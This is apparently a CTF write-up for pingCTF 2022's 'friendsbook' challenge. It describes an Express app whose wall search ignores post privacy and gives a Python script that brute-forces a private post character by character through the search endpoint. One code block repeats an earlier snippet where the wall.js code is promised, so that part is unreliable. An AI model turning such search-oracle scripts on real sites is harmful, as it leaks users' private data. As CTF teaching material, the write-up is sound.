Writeups
/Home/Ctfs/Pingctf2022/friendsbook/
Author: argot
Pub: 2022-12-18
527 words

Challenge

Please, help me discover Mark’s dirty secrets! I know he is no choir boy!

https://friendsbook.knping.pl/

Overview

We are provided the docker files for the challenge. The challenge is an Express application using Pug for templating. The flag is stored in a constant found in flag.js. The application is a barebones facebook. You can register a user, add friends, and view/create posts on your “wall”.

Users and Posts are class objects under the domain folder. Posts contain content and most importaly an author and isPrivate field.

	constructor({ id, isPrivate, content, createdAt, author, authorId }) {
		this.id = id;
		this.isPrivate = isPrivate;
		this.content = content;
		this.createdAt = createdAt;
		this.author = author;
		this.authorId = authorId;
	}

You can view all public posts of friends and private posts of your own creation.

From the UserRepository.js file, we can see when the application is created a new user “Mark” is made with a secure password and they create a private post containing the flag.

	const user = User.create({
		username: "Mark",
		password: await bcrypt.hash(
			crypto.randomBytes(128).toString("hex"),
			10
		),
	});

	adminId = user.id;

	const secretPost = Post.create({
		isPrivate: true,
		content: `My dirty secrets... ${FLAG}... I hope noone violates my privacy!`,
		author: user.username,
		authorId: user.id,
	});

The goal then is to somehow read the private posts (or flag).

Searching…

On the /wall endpoint, we note a search function which makes some fetch requests from the wall.js file:

	const user = User.create({
		username: "Mark",
		password: await bcrypt.hash(
			crypto.randomBytes(128).toString("hex"),
			10
		),
	});

	adminId = user.id;

	const secretPost = Post.create({
		isPrivate: true,
		content: `My dirty secrets... ${FLAG}... I hope noone violates my privacy!`,
		author: user.username,
		authorId: user.id,
	});

Following this to the /wall route shows the search logic:

router.get("/wall", verifyToken, async (req, res) => {
	try {
		const { q } = req.query;
		const posts = UserRepository.getWall(req.user.id, q);
		const count = UserRepository.getWallCount(req.user.id, q);
		res.json({ data: posts, count });
	} catch (err) {
		res.redirect(`/error?message=${err.message}`);
	}
});

Finally, the getWall() method gives some hope:

	getWall(userId, query) {
		const user = users.find((u) => u.id === userId);
		return posts
			.sort((a, b) => b.createdAt - a.createdAt)
			.map((p) => {
				if (
					(user.friends.includes(p.authorId) &&
						p.content.includes(query)) ||
					(p.authorId === userId && p.content.includes(query))
				) {
					return p.id;
				}
			})
			.filter((p) => p !== undefined);
	}

Note that this method does not check if the post is private. As such, substrings of the post can be discovered. This is verified by sending a request with the query “ping{”. A valid response is obtained:

Query

Flag

Assuming the flag only contains valid ascii characters, a solution can be automated with some brute forcing. However, we must omit “#” and “&” due to their use in URL parameters.

import requests
import string
import json

Cookies = {"token":"<snip>"}
url = "http://friendsbook.knping.pl/api/post/wall?q="
flag = "ping{"


def bruteChar(flag):
    oldFlag = flag
    for char in string.printable:
        if char != '#' and char != '&':
            flag = flag + char
            r = requests.get(url+flag, cookies=Cookies)
            if r.status_code == 200 and json.loads(r.content)["count"] > 0:
                print("[+] New character found (%s)" % (char))
                return [True,flag]
            else:
                flag = oldFlag
    
    return [False,'']


if __name__ == "__main__":
    while flag[-1] != '}':
        status,tmp = bruteChar(flag)
        if status:
            flag = tmp

    print("[+]Flag Found: %s"%(flag))

The script is run and the flag is obtained.

Flag